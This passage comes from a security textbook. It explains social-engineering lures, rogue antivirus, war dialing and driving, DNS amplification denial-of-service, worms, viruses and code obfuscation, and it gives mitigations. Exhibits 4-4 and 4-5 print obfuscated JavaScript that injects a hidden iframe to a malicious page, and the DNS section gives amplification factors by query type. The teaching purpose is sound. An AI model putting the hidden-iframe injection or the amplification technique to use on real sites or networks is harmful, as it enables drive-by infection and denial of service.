Criminals sent e-mails using this template in April 2008 to thou-
sands of business e-mail accounts. The e-mails included the victim’s 
name in the “To:” field. While a person’s name does not seem like a 
piece of nonpublic knowledge, people are often more likely to trust an 
e-mail if they feel like it pertains specifically to them. The message 
implies that the recipient will not receive his or her paycheck, which 
is likely to invoke a strong emotional reaction. Finally, the attackers 
sent the e-mails on a Thursday, which is a common day for accounting 
departments to finalize payroll. All of these items together made this 
a very successful social-engineering attack.

Attackers commonly use social engineering to install malicious 
code. A computer system may have the latest patches and be pro-
tected against malicious code that spreads through known vulner-
abilities, but attackers can still infect a system if they convince the 
user to download and install their program. One popular way to do 
this is to entice a user with a video of a hot news topic, such as a celeb-
rity sex tape53 or death.54 When the target visits the website, the target 

Exhibit 3-34 A Better Business Bureau (BBB) e-mail template using the ADP Employer Services 
theme.
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receives notification that his or her browser cannot display the video 
unless he or she downloads new software (see Exhibit 3-35).

Rogue antivirus (AV) applications are a criminal scheme that relies 
heavily on social engineering. These products appear to be legitimate 
AV programs but provide no actual protection and incessantly report 
infections that do not exist. Victims often install rogue AV programs 
when they visit a website and see a frightening pop-up claiming that a 
virus or Trojan has infected their computers (see Exhibit 3-36). When 
the user follows the pop-up’s instructions, they unknowingly install 
the rogue AV program. These schemes prey on users’ fears of malicious 
code and test their patience through annoying alerts. The attackers 
make money by convincing the users to spend up to US$89.95 to buy 
the “full version” of their products. For more information on rogue AV 
products, see the “State of the Hack” article titled “iDefense Explains 
… Rogue Anti-Virus.”

Exhibit 3-35 Attackers use social engineering and a fake software update to infect a target 
with malicious code.

Exhibit 3-36 A rogue antivirus (AV) popup displayed to users to entice them to download mali-
cious code.
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These are just a few examples of modern social-engineering 
attacks. In reality, most attacks involve some level of social engi-
neering, some large and some small. Unfortunately, no technology 
or simple solution can defend against social-engineering attacks. 
“There is no patch for human stupidity” is a common but some-
what crude axiom used in the security community to describe this 
situation. A more accurate version might be “There is no patch for 
the human tendency to trust.” The best mitigation strategy for an 
organization against social engineering is to build a culture of secu-
rity through awareness training and education. Alerting users of 
widespread attacks as those attacks occur, and giving users regu-
lar instruction, will give them the tools to detect social-engineering 
schemes before the schemes can do any harm.

3.2.3 WarXing

In 1983, the movie WarGames caught the imagination of enterprising 
young hackers everywhere (see Exhibit 3-37). The movie was very 
influential to the hacker culture, and the act of dialing numbers to 
discover listening modems became known as war dialing. During 
the past twenty-five years, war dialing, war driving, and war spy-
ing developed as reconnaissance techniques used by hackers to dis-
cover possible targets and learn more about the networks accessible 
to them. This section discusses these techniques and the origin of the 
WarXing nomenclature.

Technology professionals love inventing new words, and security 
researchers are no different. War dialing, war driving, and war spy-
ing are names for reconnaissance techniques used by hackers to dis-
cover possible targets and learn more about the networks accessible 
to them.

In WarGames, Matthew Broderick portrays a high school student 
who uses his computer to dial every phone number in Sunnyvale, 
California automatically to search for modems owned by software 
companies in hopes of getting copies of the latest games before their 
release to the public. The movie was very influential to the hacker 
culture, and the act of dialing numbers to discover listening modems 
became known as war dialing.55
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War dialing is essentially a reconnaissance technique. It allows an 
attacker or curious individual to reach out through the phone net-
work and determine what types of other systems might be accessible 
to him or her. Automated war-dialing programs dial a range of num-
bers and wait for one or two rings. If a modem answers the call, the 
program makes a note of it and moves on. If a person or voicemail 
system answers the phone, the program disconnects. The result is a 
list of every accessible modem in a particular phone prefix that the 
war dialer can then target for further attacks.

With the rise of broadband in homes and businesses during the 
1990s, fewer and fewer modems were attached to phone lines and 
war dialing became less popular, but criminals found new uses for 
the technology. Vishing, or voice-phishing, attacks use the phone 
system to gather secret information about a target. Attackers can 
use automated dialers that dial huge volumes of numbers until 

Exhibit 3-37 WarGames movie poster.
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a victim answers, at which point a voice-based computerized 
prompting system filled with social-engineering questions begins 
asking for (or demanding) personal information of the unsuspect-
ing targets.

In the last decade, war dialing has transformed into other forms 
of network reconnaissance, carried out with the same hacker spirit 
that drove the early phone system pioneers. War driving is the act 
of mapping out the location of Wi-Fi networks. Rather than dialing 
up a series of telephone numbers, “war drivers” hop in their car with 
Wi-Fi-enabled laptops or PDAs and drive through neighborhoods 
recording the location and name of each network they detect. The 
goal of war driving is not malicious, and its practice does not harm or 
annoy the networks they detect. The WiGLE Project currently tracks 
more than 15 million networks worldwide and allows users to search 
for networks using an interactive map (see Exhibit 3-38).56

For those with an interest in mapping Wi-Fi networks but with 
no car to carry them from place to place, there is war walking, war 
cycling, and even war flying. The first known instance of war flying 
occurred in 2002, when members of the WAFreeNet group flew over 
Perth, Australia, and mapped out that city’s networks from the air.57

Exhibit 3-38 A WiGLE map of U.S. wireless networks.
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War spying, another derivative of war driving that goes beyond 
simple network mapping, targets specific types of wireless-enabled 
surveillance devices that give a glimpse into areas typically out of 
view. Low-end security systems, such as those used for surveillance 
by small businesses, use wireless technology to transmit images to a 
central computer. This is convenient because it does not require run-
ning cables to the cameras but leaves them open to war spying if not 
properly secured. War spies spend time and money building equip-
ment to seek out and display signals they find, such as the one dis-
played in Exhibit 3-39, built by WARSpyLA, a Los Angeles–based 
war-spying group.58

While curiosity and not malice drives each of the WarXing activi-
ties, the information gathered during WarXing reconnaissance can 
support destructive and criminal activities. War dialing may lead 
to attacks on systems connected to the phone system via modems. 
Mapping wireless networks through war driving could allow an 
attacker to find open networks that he or she could use to launch 
criminal activity without being traced, or simply to sniff the traffic of 
the unencrypted network to steal personal information. War spyers 
may be watching open security cameras out of curiosity, but mali-
cious actors could also use them to scout a location before a physi-
cal break-in. While the threat from WarXing activities may appear 

Exhibit 3-39 WARSpyLA war-spying equipment.
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to be trivial, it is important for security professionals to be aware of 
these techniques and understand their place in hacker culture. There 
is very little that an organization can do to keep curious war drivers 
from mapping their networks, but administrators should ensure that 
they properly secure any wireless devices. For anyone wondering how 
many Wi-Fi networks are in your neighborhood, head over to the 
WiGLE Project.59 The results might be surprising.

3.2.4 DNS Amplification Attacks

This section looks at domain name system (DNS) amplification tech-
niques, which utilize the DNS, or misconfigured DNS servers, to 
launch denial of service (DoS) attacks while using minimal amounts of 
bandwidth on the part of the attacker. DNS amplification attacks rely 
on the ability to spoof the originating Internet Protocol (IP) address 
in User Diagram Protocol (UDP) packets, thereby instructing a DNS 
server to reply to a specific address, known as a reflection attack. The 
amplification portion of the attack relies on the DNS server’s will-
ingness to perform a query on behalf of the attacker, which results 
in a response that is larger than the original query. A recently publi-
cized DNS amplification simply issued queries for the root (“.”) serv-
ers, instead of the more common technique of poisoning a particular 
DNS server with an abnormally large DNS record. DNS amplifica-
tion attacks take advantage of the large resources of DNS servers and 
can be enormously powerful. The article also discusses well-known 
but rarely implemented techniques to mitigate these attacks.

Denial of service (DoS) attacks come in many forms, but suc-
cessful attacks all result in the same outcome: the targeted service 
is made unavailable to users. A common form of DoS is known as 
network resource exhaustion. These attacks involve sending more traf-
fic to a server than it can properly handle, effectively blocking com-
munication with legitimate systems. Network exhaustion requires the 
attacker to generate a very large amount of traffic, frequently using 
many systems collected in a botnet. This section explains a complex 
DoS attack known as domain name system (DNS) amplification, which 
takes advantage of features in the Internet architecture to turn a small 
number of systems into an Internet-based weapon.
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To understand DNS amplification, it is first necessary to under-
stand the two concepts that allow the attack to take place. The first 
is known as reflection. Unlike the more commonly used Transmission 
Control Protocol (TCP), the User Datagram Protocol (UDP) and 
Internet Control Message Protocol (ICMP) are not connection based. 
When two computers communicate using TCP, they first perform 
a three-way handshake that allows the systems to synchronize set-
tings and ensure that the system that sent the original packet actu-
ally intended to establish a connection. UDP packets simply contain 
a source and destination Internet Protocol (IP) address (as part of 
the IP packet that encapsulates them), but the recipient of the UDP 
packet cannot be sure that the source was not falsified, or spoofed. A 
computer that receives a packet with a spoofed IP address will reply 
to that IP address, rather than the original sender. This is known as 
a reflection attack because the original packet reflects an intermediate 
system before striking the targeted system. The benefit of a reflection 
attack is that the victim cannot tell the original source of the traffic 
without getting information from the intermediate system.

Reflection can also allow an attacker to make traffic appear to come 
from many sources, making it more difficult for the victim to filter 
the incoming data. In Exhibit 3-40, the attacker sends ICMP echo 
requests (pings) to multiple intermediate systems while spoofing the IP 
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Exhibit 3-40 A reflection attack allows a single attacker to send traffic from many sources.
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address in the packets to match that of the victim. Each compromised 
computer dutifully replies to the victim, flooding it with traffic.

While reflection attacks hide the source of a DoS initiator, they 
still require the initiator to be able to send as much data as he or she 
wants the victim to see. Amplification attacks take this to the next 
step, increasing the total amount of traffic received by the target to 
tens or hundreds of times the original payload size.

One of the oldest amplification attacks is known as the smurf 
attack. In a smurf attack, the initiator sends a ping to the IP broadcast 
address, spoofing the victim’s IP address. Exhibit 3-41 shows how the 
smurf attack works by sending a single packet that results in an ampli-
fication of the total traffic received by the victim. Smurf attacks are 
no longer a major threat because router configurations no longer pass 
broadcast packets to other networks, limiting the range of a smurf 
attack to the local subnet.

A more recently discovered class of DoS attacks takes advantage 
of the DNS infrastructure to amplify the amount of traffic a single 
node can send. A DNS request for the A record of a specific domain, 
such as google.com, returns much more data than is required to make 
the request. DNS requests commonly used connectionless UDP mes-
sages, making them ideal for reflection and amplification attacks.

The key to launching an amplification attack is finding DNS serv-
ers that will perform recursive queries and return a larger amount of 
data than was in the original request. These servers are commonly 
known as open resolvers. For more information about recursive DNS 
queries and the DNS in general, refer to the “State of the Hack” arti-
cle entitled “iDefense Explains the Domain Name System (DNS).”60

DoS Initiator

Spoofed Broadcast Message

Amplification Systems

DoS Target

Exhibit 3-41 A smurf amplification attack multiplies the total traffic sent by the initiator.
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A typical DNS A record query requires the client to send at least 49 
bytes of data, depending on the length of the domain name requested. 
In some cases, the response message may be smaller than the original 
request, but it is very simple to ensure a large response by requesting 
additional information. Exhibit 3-42 shows how this type of attack 
exploits DNS servers.

A request for the A record of google.com requires sending 70 bytes 
of data and will result in a 118-byte response (including the encapsu-
lating Ethernet, IP, and UDP headers). This is only a minor ampli-
fication, but by making an ANY query instead of an A record query, 
the server also returns the values it has stored for MX and NS records, 
resulting in a 278-byte response, or an almost 4x amplification. To 
take amplification even further, the attacker can take advantage of 
the large records provided by DNS Security Extensions (DNSSEC) 
signed zones. DNSSEC provides cryptographic signature data along 
with normal DNS record data to allow the recipient to verify that the 
data are authentic. These records greatly increase the amount of traffic 
returned by a DNS server. The U.S. government recently signed the 
.gov domain, and these signature data are available through DNS serv-
ers. Making a 74-byte ANY request for the .gov domain, specifying 
that DNSSEC records be provided, results in a 2,309-byte response, 
an amplification factor of more than 30. Exhibit 3-43 displays how 
different DNS requests result in different amplification factors.

These types of attacks rely on open resolvers to carry out malicious 
deeds, but a new form of DNS amplification recently emerged that 
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Exhibit 3-42 DNS servers amplify the amount of traffic generated by the DoS initiator.
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can take advantage of locked-down DNS servers. In January 2009, 
attackers launched a large-scale distributed denial of service (DDoS) 
attack against an ISP named ISPrime.61 To take advantage of DNS 
servers that are not open resolvers, the attackers made requests for 
“.”, the designation of the root servers. DNS servers respond to these 
requests with the IP address of each of the root servers, even when 
they do not allow recursive queries. This response can include more 
than 500 bytes of data and only requires a 49-byte request, an ampli-
fication factor of more than 10.

Amplifying the amount of bandwidth generated is very beneficial 
in a DoS attack. An infected computer using a cable modem may only 
be able to generate 512 Kbps of bandwidth, which is not enough to 
cause a DoS for most servers. Amplify this value by thirty times, and 
use this technique on 1,000 nodes, and a small botnet could easily 
generate more than 14 Gbps of traffic, enough to saturate almost any 
Internet connection.

3.2.4.1 Defeating Amplification DNS amplification attacks rely on 
two principals without which they could not be effective. First, UDP 
packets can carry spoofed IP addresses, allowing attackers to reflect 
traffic off DNS servers. This does not necessarily need to be the 
case. While UDP does not make it possible to verify the source of 
a packet, an ISP can inspect packets leaving their network to ensure 
that the source IP address could actually reside within that network. 
The Internet Engineering Task Force (IETF) “Best Current Practice 
(BCP) 38” (BCP38) document suggests this type of filtering.62 While 
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Exhibit 3-43 The amplification factor depends on the type of DNS query made.
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many networks have implemented the filtering suggested by BCP38, 
many large networks have refused to, stating that the filtering requires 
too much overhead for their equipment or that their customers may 
need to generate traffic with spoofed-source addresses.

The second necessity for DNS amplification to succeed is the coop-
eration of one or many DNS servers. In 2006, Dan Kaminsky pre-
sented evidence that more than 580,000 open resolvers were active 
on the Internet.63 It is unlikely that the operators of these servers 
intend the public or DoS attackers to use them. Any administrator 
who operates a DNS server should configure it to either not perform 
recursive queries or limit it so only specific IP ranges can perform 
these queries. To combat the latest “root query” form of amplification 
attack, administrators should configure servers to either not reply to 
requests for the root domain or limit the systems allowed to request 
this information to those on a trusted network. More information 
on how to make these changes in Berkeley Internet Name Daemont 
(BIND) 9 is available from SecureWorks.64

DNS amplification attacks are not a recent discovery, but DDoS 
networks have not commonly used them. If they began taking advan-
tage of amplification, small botnets could become much more power-
ful than ever before.
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4
maliCiouS Code

4.1 Self-Replicating Malicious Code

4.1.1 Worms

Computer worms constitute a large class of malicious code that spreads 
between computers by distributing copies of themselves in a variety 
of ways. The worm is one of the earliest forms of malicious code and 
may be either benign or destructive. Malicious code is only a worm if 
it spreads to other systems by duplicating itself without attaching to 
other files.

Unlike computer viruses that spread by infecting executables or 
other files, worms spread by distributing copies of themselves. The 
copies may not be identical to the original worm, but they have the 
same functionality and can continue to spread to additional comput-
ers. The Morris worm, released by Robert Morris in 1988, was one 
of the first worms to spread on the Internet.1 The worm spread over 
the Internet by exploiting multiple known vulnerabilities in common 
UNIX programs. Morris stated that the purpose of the worm was to 
gauge the size of the Internet at the time, but it spread so quickly that 
it caused a widespread denial of service (DoS) condition.

Worms typically have two roles. The first is to spread to additional 
computers, but most also have a secondary task known as a payload. 
A worm’s payload is what the attacker programs the worm to accom-
plish after it spreads. In the case of the Morris worm, the intention 
was to gauge the size of the Internet, but most worms have a much 
more malicious payload. This can include distributed denial of service 
(DDoS) attacks, spam distribution, cyber crime, or anything else the 
attacker chooses.

In the years since Morris’s program got out of control, many more 
worms have spread across the Internet. Many worms target vulnera-
bilities in popular network services like HTTP servers and NetBIOS. 
However, many do not use vulnerabilities to spread, instead using 
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e-mail, peer-to-peer (P2P) networks, social networks, and mobile 
device communication protocols. These propagation techniques rely 
on tricking the user into executing a program and cannot spread with-
out any human interaction. Worms are not limited to a single propa-
gation method but can use any or all of these methods at once (see 
Exhibit 4-1).

E-mail worms spread by sending a message designed to entice 
the recipient into clicking a link or downloading an attachment that 
contains a copy of the worm. One famous example of this type of 
malicious code is the ILOVEYOU worm, which began spreading in 
May 2000.2 ILOVEYOU quickly infected thousands of computers 
by sending an e-mail with the subject header “I love you.” Another 
means of spreading worms is Instant Messaging (IM) technologies. 
As IMs have gained in popularity, worms have begun to use these 
popular networks to spread between systems.

Network worms, which often spread without any user interaction, 
can infect many computers in a very short amount of time. These 
worms may infect other systems by exploiting vulnerabilities in soft-
ware or by attempting to guess passwords that protect systems from 
intrusion. Blaster, which began spreading in August 2003, was a 
network worm that spread through a vulnerability in the Microsoft 
Windows RPC interface (MS03-026). The purpose of Blaster was to 
strike Microsoft’s Windows Update website with a DDoS attack that 
the worm would launch on August 15, 2003.3 Microsoft averted the 
attack by preemptively taking the website offline.

Exhibit 4-1 A single worm can use many propagation techniques.
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As with worms that spread through e-mail, those that spread 
through P2P networks must also rely on social-engineering tech-
niques rather than automatic propagation. These worms copy them-
selves to directories that popular P2P applications use to share files. 
By renaming themselves so they appear to be movies or software, the 
worms entice other users into downloading and executing them.

An often slow but effective propagation technique that worms use is 
copying themselves to USB drives. USB worms configure the infected 
drives to execute the worm as soon as an unsuspecting user plugs it 
into a computer. Through this technique, the worm is able to spread 
to networks that it could not normally access. In 2008, the U.S. Army 
banned the use of USB drives in its networks because a worm had 
spread throughout its networks via that route.4 To mitigate the threat 
from these worms, Microsoft released an update that disabled the auto-
run feature that allowed malicious code to spread easily through USB 
drives.5 Worms can spread between mobile devices by sending copies 
of themselves attached to short message service (SMS) messages, or by 
including links to Web pages that host a copy of the worm. In 2009, the 
“Sexy View” worm spread to phones running the Symbian operating 
system (OS) and collected information about each device it infected.6 
The latest entrants into the worm world are those that spread through 
social-networking sites like Facebook and MySpace. Koobface is a 
worm that steals credentials for social-networking websites, then uses 
the accounts to send links to the worm to the victim’s contacts. When 
first released, Koobface only targeted Facebook, but it has since begun 
targeting MySpace, Bebo, Netlog, and other social networks.7 Many 
worms use multiple techniques to spread. One of the most famous 
worms of 2009, Conficker,8 spread through USB drives and through a 
vulnerability in the Windows Server Service (MS08-067).

To mitigate the threat from computer worms, administrators must 
protect systems from all propagation techniques. The following mea-
sures will decrease the likelihood of a worm infection in a network:

• Use antivirus products to scan incoming e-mails and IMs for 
malicious links.

• Disable autorun functionality for USB devices.
• Apply patches for vulnerabilities in network services in a 

timely manner.
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• Disable access to P2P networks.
• Educate users on the dangers of worms that use social-engi-

neering techniques.

Like their malicious cousins, viruses and Trojan horses, worms 
are a significant threat to modern networks. In the twenty-plus 
years that have passed since Robert Morris released the first 
Internet worm, new tactics have developed that allow for faster 
propagation with a higher impact. With the arrival of new com-
munication technologies, attackers also develop new ways to spread 
malicious programs.

4.1.2 Viruses

The concept of viruses and malware has been with us for decades, 
along with the development of detection technologies. In this sec-
tion, we explain the differences between viruses and other types of 
malware that can infect users and organizations.

The Internet hosts many forms of malicious software, also known 
as malware, that vary in functionality and intent. Quite often, descrip-
tions of malware, regardless of the type, incorrectly classify the mali-
cious software as a virus. For years, the term computer virus has been 
the all-encompassing term for malicious software; however, in the 
world of computer security, a virus refers to a specific type of mal-
ware that spreads by infecting other files with its malicious payload. 
Laypersons often incorrectly refer to all types of malware as viruses, 
when they might actually mean that such malware are Trojan horses 
(Trojans) or worms. A Trojan is a piece of malicious software that 
appears to be a legitimate application. A Trojan runs on an infected 
system as if it were an application with a beneficial purpose. A worm 
is another type of malware that is a standalone executable that spreads 
through network shares and vulnerabilities.

A virus, on the other hand, is not self-contained and requires the 
infection of a host file to spread. A virus is parasitic, infecting a sys-
tem by attaching itself to other files. A computer virus spreads in a 
similar manner as a biological virus, which injects DNA into a host 
cell to replicate itself and causes the cell to burst, releasing the repli-
cated viruses to spread to other cells. A computer virus achieves the 
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technological equivalent by writing its code into a host file. The virus 
eventually runs when a user opens the infected host file.

Now that the distinction between viruses and other types of mal-
ware is clear, a brief history of computer viruses will provide some 
helpful background information. The first recorded IBM PC-based 
virus, called the “Brain,” debuted in January 1986. The Brain copied 
itself into a floppy disk’s boot sector, the space on the floppy disk used 
to run code when the system starts. Once in memory, it attempted to 
copy itself to other floppy disks; the main side effect of an infection 
was a change to the volume label to “(c) Brain.”9

The Brain virus was not particularly destructive but took advantage 
of the era’s heavy use of floppy disks. Other viruses, however, were 
not as harmless and caused damage to infected systems. In 1987, the 
Jerusalem virus and its variants began infecting systems. This virus 
resided in memory and infected all executable files (.com and .exe) on 
the system. When a user opened an infected file, the virus deleted the 
infected file.10

Viral code within infected host files often has three distinct parts: 
the discovery module, the replication module, and the payload. The 
discovery module enables the virus to locate host files, and the replica-
tion module carries out the infection by copying the entire viral code 
into the host file. Exhibit 4-2 shows an infected application replicat-
ing the virus by writing the entire virus to the host file.

Last, the payload contains code to perform additional actions on 
the infected system aside from file discovery and replication. The spe-
cific actions carried out by the payload depend on the purpose of the 
virus. Payloads range from harmless code, such as the Cascade virus 
that altered text displayed on screens, to destructive code, such as the 

Executable Code

Executable Header

Virus.exe

Virus Code

Executable Code

Executable Header

Host.exe

Virus Code

Exhibit 4-2 A virus infecting a host file.
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Jerusalem virus that deleted infected files. Exhibit 4-3 shows screen-
shots of the Cascade virus altering the text within MS-DOS.

The security community separates viruses into two groups based 
on how the virus infects other files after it executes: resident and non-
resident. A nonresident virus infects other files only when the infected 
file runs. A resident virus differs by loading itself into memory and 
continuing to run after the infected file closes.

Resident viruses fall into two additional categories: fast infectors 
and slow infectors.11 Viruses loaded into memory have the ability to 
infect many files very quickly because they can infect any file on a 
system. Viruses that take advantage of this ability are fast infectors, as 
they try to infect as many files as quickly as possible. This type of virus 

Exhibit 4.3 Screenshot of Cascade virus changing MS-DOS text.
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lacks stealth, and the consumption of resources makes the infection 
obvious to the victim.

Slow infector viruses have specific criteria with which they infect 
other files. Two common criteria used to infect other files are time-
based (such as only infecting files on certain days) and access-based 
(such as only infecting copied files) criteria. Infections occurring only 
during specific situations slow down the infection rate, making the 
virus inconspicuous and harder to detect.

To write code to another file, viruses generally add their code to the 
beginning or end of a file. Methods that are more sophisticated, how-
ever, can also write the virus code within empty or unused space within 
the file. Viruses that use these techniques, known as cavity viruses, can 
add their code to a host file without changing the file’s size.

Once the virus writes its code to the file, there must be a way to run 
the code when opening the infected file. If the virus focuses on infect-
ing executable program files, it can modify the executable’s header 
(entry point) to point to the beginning of the virus code. Another 
method is to modify the executable file’s binary code to include call 
or jump instructions to the virus code. A recently discovered method 
used by the Xpaj.B virus replaces one of the subroutines in a host file 
with its viral code.12 While this technique is less reliable and does not 
guarantee that the code will run, it makes it more difficult for antivi-
rus products to detect the virus.

The impact that viruses have on systems demands a solution to 
detect and clean up infections. Antivirus products attempt to detect 
viruses by searching files for discovery modules, replication modules, 
or the payload. Detection methods include specific pattern matches 
within the executable or heuristic methods to detect viral activity.

These antivirus products also attempt to clean the virus infection 
by removing the virus’s code and restoring the original file’s contents. 
The antivirus program cannot simply delete an infected file because 
doing so may have adverse effects on the system’s operation. The anti-
virus must detect the technique the virus used to execute the viral 
code within the infected file as described earlier in this section. Once 
the antivirus determines this technique, the antivirus program must 
remove the file alterations to reconstruct the original file. If the recon-
struction of the file is successful, then the virus infection is gone.
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Over the years, virus developers introduced encryption, polymor-
phic, and metamorphic code to thwart antivirus products. Encryption 
is a common technique used by virus authors to help their malware 
avoid detection. By encrypting the instructions, the author hides the 
virus’s actual functionality and makes it difficult for antivirus pro-
grams to detect the virus using pattern matching. Encrypted viruses 
start with a routine to decrypt the virus followed by the execution of 
the now decrypted virus. A simple encryption method commonly used 
is an exclusive OR (XOR) cipher. The XOR cipher uses a key and the 
XOR operator to encrypt the virus’s code, and the same key and XOR 
operator to decrypt the code.13 This lightweight encryption method 
encrypts the virus, but antivirus products can detect the existence of 
the decryption routine. For example, Panda’s XOR-encoded antivirus 
signature looks for viruses with an XOR decryption routine.14

To avoid detection of the decryption routine, a technique called 
polymorphism surfaced. A polymorphic virus still relies on a decryp-
tion routine to decrypt the encrypted code; however, this type of virus 
has a polymorphic engine within its code that changes the encryp-
tion and decryption routines each time the virus infects another file. 
Therefore, polymorphic viruses change their entire appearance with 
each infection yet have the same functionality.

Another technique, called metamorphism, allows a virus to change 
its appearance to avoid antivirus detection. Metamorphic viruses 
use an embedded engine to alter their code much like a polymor-
phic virus; however, the metamorphic engine actually changes the 
virus’s code. For example, the metamorphic engine can use differ-
ent registers within the code, add no-operation-performed (NOP) 
instructions, or change the code’s flow with different jump and call 
instructions.15 These changes alter the binary composition of the 
virus between infected files, which makes detection by an antivirus 
product difficult.

Viruses have been around for decades, but many consider viruses 
outdated and no longer a threat. The overwhelming number of Trojans 
and worms that plague today’s networks overshadow viruses; however, 
many viruses still exist, including a sophisticated, feature-rich virus 
known as Virut. Virut surfaced in 2006 and evolved into a hybrid 
malware that possesses characteristics of Trojans and viruses. Virut 
first runs as a self-contained executable that is like a Trojan; however, 



	 mAliCious	Code	 203

© 2011 by Taylor & Francis Group, LLC

it also infects executable files to establish persistence and longevity to 
the infection.

Virut is a resident polymorphic virus that infects other executables 
on the system upon access. Recent variants of Virut have infected 
Web page files with the extension HTM, PHP, or ASP by writing 
an inline frame (IFrame) to the file. The IFrame is an HTML ele-
ment that embeds a frame within the browser window. These IFrames 
allow attackers to forward users to a malicious page without interac-
tion. Virut infects Web page files hoping to infect other users who 
visit the Web page with the virus.16

In addition to Virut’s infection methods, its payload opens a back-
door on the infected system and connects to an Internet Relay Chat 
(IRC) channel. The IRC channel allows the attacker to command 
the infected system to download executables, further infecting the 
system. These capabilities show the danger that contemporary viruses 
pose to infected systems.

Over the past few decades, the term computer virus evolved from 
applying to a common type of malicious code with specific character-
istics to being an imprecise catchall term for all types of malware. The 
characteristic that sets apart a true virus from other malware types 
is the parasitic trait of needing to spread, as viruses do not propa-
gate without infecting other files. Antivirus products search files for 
this parasitic characteristic to detect viruses. These searches look for 
binary values, file alterations, and viral behaviors within files and 
attempt to clean infected files. While this is not a perfect solution, 
antivirus programs provide systems with the best protection from 
virus infections.

4.2 Evading Detection and Elevating Privileges

4.2.1 Obfuscation

For legitimate programmers, source code obfuscation helps pro-
tect their intellectual property by making it more difficult to steal. 
Malicious programmers benefit from the same techniques, which 
complicate malicious code reverse engineering and human analysis, 
thereby frustrating efforts to understand and mitigate the threat. This 
section explains the concept of obfuscation at a high level and delves 
into its common uses and techniques.
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The level of difficulty in analyzing data and code depends on the 
effort put forth by the developer to obscure related information and 
deter analysts. Developers use a technique known as obfuscation to 
transform data or source code into obscure or unclear representations 
while retaining the original functionality. Developers, both benign 
and malicious, use obfuscation techniques to hide the data or the 
behavior of an application.

Source code obfuscation seen in malicious code and commercial 
applications reduces the chances of successful decompilation and 
increases the difficulty of reverse engineering. Many programming 
languages require source code to pass through a compiler to create 
an executable or byte code file. Inversely, decompilers take executables 
and byte code files and attempt to convert them into the original source 
code. Exposed source code leaks sensitive information by revealing the 
inner workings of the application. Legitimate developers use obfusca-
tion in an attempt to hide possible vulnerabilities, trade secrets, and 
intellectual property. Malicious developers use obfuscation to hide the 
malicious intent of their code from detection and analysis.

Successful obfuscation disrupts decompilers and results in faulty 
or incomplete source code. Faulty or incomplete source code compli-
cates the situation by providing broken or incorrect code for analy-
sis. An example of obfuscation that deters decompilation and source 
code analysis is a product named Zend Guard that encodes and 
obfuscates PHP applications. Zend Guard uses encoding and other 
obfuscation routines to turn cleartext PHP scripts into binary code.17 
Deobfuscating Zend Guard binaries into the original cleartext PHP 
code is possible with an application called Dezender.

In addition to confusing decompilers, obfuscating code also 
increases the difficulty in researchers’ ability to analyze code. Without 
decompiled source code, code analysis requires reverse engineering. 
Reverse engineering demands a high level of skill to analyze precom-
piled code and a long period to complete the analysis. Obfuscation 
methods increase the amount of skill and time required by adding 
complexity and confusion to the code.

A common anti-reverse-engineering obfuscation technique involves 
self-modifying code. Self-modifying code makes static reverse engi-
neering difficult because the code changes itself at runtime. Routines 
within the application change the values and instructions within the 
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code when the program starts. The result is an application running in 
memory that is different from its initial appearance.

Widespread self-modifying code used to hinder reverse-engineer-
ing attempts, known as binary packing, obfuscates an executable’s 
machine code. Binary packing compresses executable code and adds 
functionality to the application to uncompress the code at runtime. 
This retains its original functionality but changes its appearance dra-
matically. Packed executables require the reverse engineer to analyze 
the unpacking routine and unpack the code before beginning code 
analysis steps.

Aside from restricting code analysis, malicious coders use obfus-
cation techniques to evade detection from signature-based security 
solutions. Signature-based security solutions, such as antivirus pro-
grams and intrusion detection and prevention systems, use signatures 
to search for specific values within files or packets traversing the net-
work. If the signature matches, an alert triggers to notify the user or 
administrator that malicious activity occurred. Obfuscating code and 
network activity evades detection from antivirus intrusion detection 
and prevention systems by altering values within files or packets that 
trigger signatures.

Many obfuscation techniques exist in the wild to change code or 
data into an unclear representation of itself. The variety of obfusca-
tion techniques available depends on the intended result and the 
environment in which the code or data exist. Regardless of the 
result or environment, obfuscation transformations obscure yet 
retain the original functionality. Typical modifications include 
encoding, concatenating, obscuring variable and function names, 
and adding or removing white space and new lines. Encryption 
achieves the same result as obfuscation but is not an obfusca-
tion method because it does not retain functionality without the 
required cipher key.

Encoding data and code in different representations adds obscurity 
to the information and instills confusion in the analyst. Encoding 
methods depend on the decoding functionality available in the appli-
cation. For example, using hexadecimal values to represent print-
able ASCII characters in a string transforms a human-readable 
cleartext string into an array of hexadecimal values. Exhibit 4-4 
shows JavaScript code that the Web browser interprets to decode the 
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hexadecimal values for “<iframe src=“bad.html” height=0 width=0>” 
to include in the browser window.

Concatenation is an obfuscation technique that connects several 
pieces of code or data to form one continuous block. Concatenating 
the individual parts together retains the original functionality but 
confuses the analysis by potentially displaying the block in out-of-
sequence chunks. Intentionally splitting data and code into multiple 
individual parts can make it difficult to understand and obscures the 
original context. This method also prevents signature-based detection. 
Concatenation pushes signature detection beyond its limits by forcing 
it to assemble pieces before matching values. Exhibit 4-5 shows the 
same code as seen in Exhibit 4-4, but here the author has split the 
hexadecimal string into ten pieces and concatenated them together to 
form the original string.

Obscure variable and function names obfuscate code by mak-
ing it difficult to read. Illegible variable names make human code 
analysis a burden because it is difficult to follow the random vari-
able name from initialization to assignment to use within the code. 
The same holds true for confusing function names. It is difficult 
to analyze the functionality within and the arguments sent to the 
unfamiliar function name. Use of randomization functions, such 
as rand(), to generate random variable and function names fur-
ther complicates analysis. Exhibit 4-6 shows a script with the same 

<script>
document.write(“\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x22\x62\x61\x64\x2e\
x68\x74\x6d\x6c\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x30\x20\x77\x69\x64\x74\x68\x3d\
x30\x3e”);
</script>

Exhibit 4-4 Encoded JavaScript to include a 0x0 IFrame to bad.html.

<script>
document.write(“\x3c\x69\x66\x72”+”\x61\x6d\x65\x20”+”\x73\x72\x63\x3d”+”\x22\x62\
x61\x64”+”\x2e\x68\x74\x6d”+”\x6c\x22\x20\x68”+”\x65\x69\x67\x68”+”\x74\x3d\x30\
x20”+”\x77\x69\x64\x74”+”\x68\x3d\x30\x3e”);
</script>

Exhibit 4-5 Concatenated JavaScript to include a 0x0 IFrame to bad.html.
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functionality as seen in Exhibits 4-4 and 4-5 but with random vari-
able and function names.

White space and new line modifications complicate data and code. 
By removing white space and new lines, data and code quickly become 
cluttered and difficult to follow. Adding white space and new lines 
causes disarray in the opposite manner by spreading out data and code 
to impede analysis. Exhibit 4-7 shows the same script as in Exhibit 
4-6 without new lines to cause clutter.

Developers use obfuscation techniques to hide information from 
